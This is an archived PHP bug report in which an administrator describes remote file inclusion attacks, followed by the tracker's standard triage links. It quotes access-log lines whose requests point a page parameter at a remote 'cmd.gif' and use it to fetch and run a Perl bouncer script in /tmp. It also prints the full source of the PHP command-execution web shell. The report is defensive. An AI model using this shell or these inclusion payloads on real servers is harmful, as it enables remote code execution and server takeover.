From: wschow at comp dot hkbu dot edu dot hk Operating system: Solaris 2.6 PHP version: 5.0.1 PHP Bug Type: *General Issues Bug description: File Injection (Gif, Jpg, txt)
Description: ------------ It seems that PHP 5.0.2 has file injection problem as such: 200.164.94.78 - - [25/Sep/2004:08:29:37 +0800] "GET /~ABC/test/index1.php?page =http://h4ck3rscan.port5.com/cmd.gif?&cmd=cd%20tmp/rm%20-rf%20bnc.pl;rm%20-rf%20 bnc.pid HTTP/1.1" 200 6714 200.165.82.160 - - [25/Sep/2004:23:02:24 +0800] "GET /~ABC/test/index1.php?pag e=http://h4ck3rscan.port5.com/cmd.gif?&cmd=cd%20/tmp;wget%20members.lycos.co.uk/ spakk/bnc.pl HTTP/1.1" 200 7139 200.165.82.160 - - [25/Sep/2004:23:04:35 +0800] "GET /~ABC/test/index1.php?pag e=http://h4ck3rscan.port5.com/cmd.gif?&cmd=cd%20/tmp;perl%20bnc.pl%20-p%201718%2 0-s%20cfcfclols HTTP/1.1" 200 6714 In http://h4ck3rscan.port5.com/cmd.gif, it shows the source: <? // CMD - To Execute Command on File Injection Bug ( gif - jpg - txt ) if (isset($chdir)) @chdir($chdir); ob_start(); passthru("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp"); $output = ob_get_contents(); ob_end_clean(); if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output)); ?> Any solutions? -- Edit bug report at http://bugs.php.net/?id=30236&edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=30236&r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=30236&r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=30236&r=trysnapshot51 Fixed in CVS: http://bugs.php.net/fix.php?id=30236&r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=30236&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=30236&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=30236&r=needscript Try newer version: http://bugs.php.net/fix.php?id=30236&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=30236&r=support Expected behavior: http://bugs.php.net/fix.php?id=30236&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=30236&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=30236&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=30236&r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=30236&r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=30236&r=dst IIS Stability: http://bugs.php.net/fix.php?id=30236&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=30236&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=30236&r=float MySQL Configuration Error: http://bugs.php.net/fix.php?id=30236&r=mysqlcfg
